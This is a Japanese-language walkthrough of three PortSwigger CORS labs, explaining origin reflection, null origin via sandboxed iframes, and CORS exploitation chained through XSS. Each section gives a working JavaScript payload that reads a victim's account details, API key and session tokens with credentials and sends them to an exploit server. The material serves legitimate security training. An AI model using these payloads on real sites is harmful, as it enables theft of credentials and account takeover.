PortSwigger - Cross-origin resource sharing (CORS)

3 min readPortSwigger#Web#CORS

CORSとは

あるWebサイトから、別のWebサイトのデータを取得してよいかを決める仕組みです。

Progress
  • CORS vulnerability with basic origin reflection
  • CORS vulnerability with trusted null origin
  • CORS vulnerability with trusted insecure protocols

CORS vulnerability with basic origin reflection

/accountDetails にアクセスすると、レスポンスにユーザ情報が表示されています。

HTTP/2 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 196

{
  "username": "wiener",
  "email": "cors@swigger.com",
  "apikey": "D8RIRLyLgQf2NIjI1XdH2zlMlRflpmeW",
  "sessions": [
    "yHAIltuEl6aoWsNqV3UhT774Al6oZGjy",
    "0JRVkk8Xfqj6mqiDNlW6jvfMDo2ryWXn"
  ]
}

Access-Control-Allow-Credentials: は、Cookie や Authorization など、認証情報付きリクエストのレスポンスを JS に読ませてよいかを示します。false の場合はレスポンスヘッダーには表示されません。

fetch('https://LAB/accountDetails', {
  credentials: 'include'
})
// trueの場合resを使って本文を読むことができる
.then(res => res.json())
.then(data => {
  console.log(data)
})
// 許可されていない場合読むことができずCORSエラーになる
.catch(err => {
  console.log(err) 
})

Access-Control-Allow-Origin: は、どの Origin の JS にレスポンスを読ませるかを示します。

*・固定で「誰でもOK」 ・credentialsなしの公開API向け
https://app.example.com・固定で特定のoriginだけ許可
<Originの動的な値>・動的に Origin を見て返している ・allowlistが厳密ならOK ・何でも反射していたら危険
null・null originを許可

Access-Control-Allow-Origin: * の場合、Access-Control-Allow-Credentials: true であっても認証付きレスポンスは読むことができないため、CORSエラーとなります。

Cookieの設定を確認すると SameSite: None になっています。ここがもし Lax だった場合、fetch はトップレベルGETではないためCookieが送信されず、今回の攻撃は成立しません。

<script>
  fetch('https://web-security-academy.net/accountDetails',{
    credentials: 'include'
  })
  .then(res => res.json()) // res.text()にすると全文文字列になり特定のキーが取れない(data.apikey)
  .then(data => {
    fetch('https://exploit-server.net/log?key=' + encodeURIComponent(JSON.stringify(data)))
  })
</script>

CORS vulnerability with trusted null origin

前章 CORS vulnerability with basic origin reflection と内容はよく似ており、null origin ということで Access-Control-Allow-Origin: null になることが考えられます。 前章のコードを使用して null origin として実行させるには、iframe.sandbox を使用すると origin が null で実行されます。

iframe に sandbox を付けない場合は iframe の origin となり、null origin にはなりません。また、sandbox に allow-scripts を付けない場合は iframe 内の JS が実行されません。

<iframe sandbox="allow-scripts" src="
<script>
  fetch('https://web-security-academy.net/accountDetails',{
    credentials: 'include'
  })
  .then(res => res.json())
  .then(data => {
    fetch('https://exploit-server.net/log?key=' + encodeURIComponent(JSON.stringify(data)))
  })
</script>
"></iframe>

CORS vulnerability with trusted insecure protocols

今回のケースは、CORSとXSSの2つの脆弱性が存在し、XSSを介してCORSの攻撃を成立させるものです。

View details を詳しく調査すると、Check Stock をクリックした際に stock.lab-domain へのリクエストが発生しています。productId=1&storeId=1 の productId= の後に適当な文字列を入れると、その文字列を含んだエラーが返ってきます。

https://stock.web-security-academy.net/?productId=test&storeId=1
h4>ERROR</h4>Invalid product ID: test

alert を発火させることができ、XSSの脆弱性が存在することが分かります。

前章CORS vulnerability with basic origin reflectionのコードを挿入 <script>が二重になり、HTML・URLが壊れやすいため、URLエンコードする必要があります。

<script>
  document.location = "http://stock.web-security-academy.net/?productId=4%3Cscript%3Efetch('https%3A%2F%2Fweb-security-academy.net%2FaccountDetails'%2C%7Bcredentials%3A'include'%7D).then(res%3D%3Eres.json()).then(data%3D%3E%7Bfetch('https%3A%2F%2Fexploit-server.net%2Flog%3Fkey%3D'%2BencodeURIComponent(JSON.stringify(data)))%7D)%3C%2Fscript%3E&storeId=1"
</script>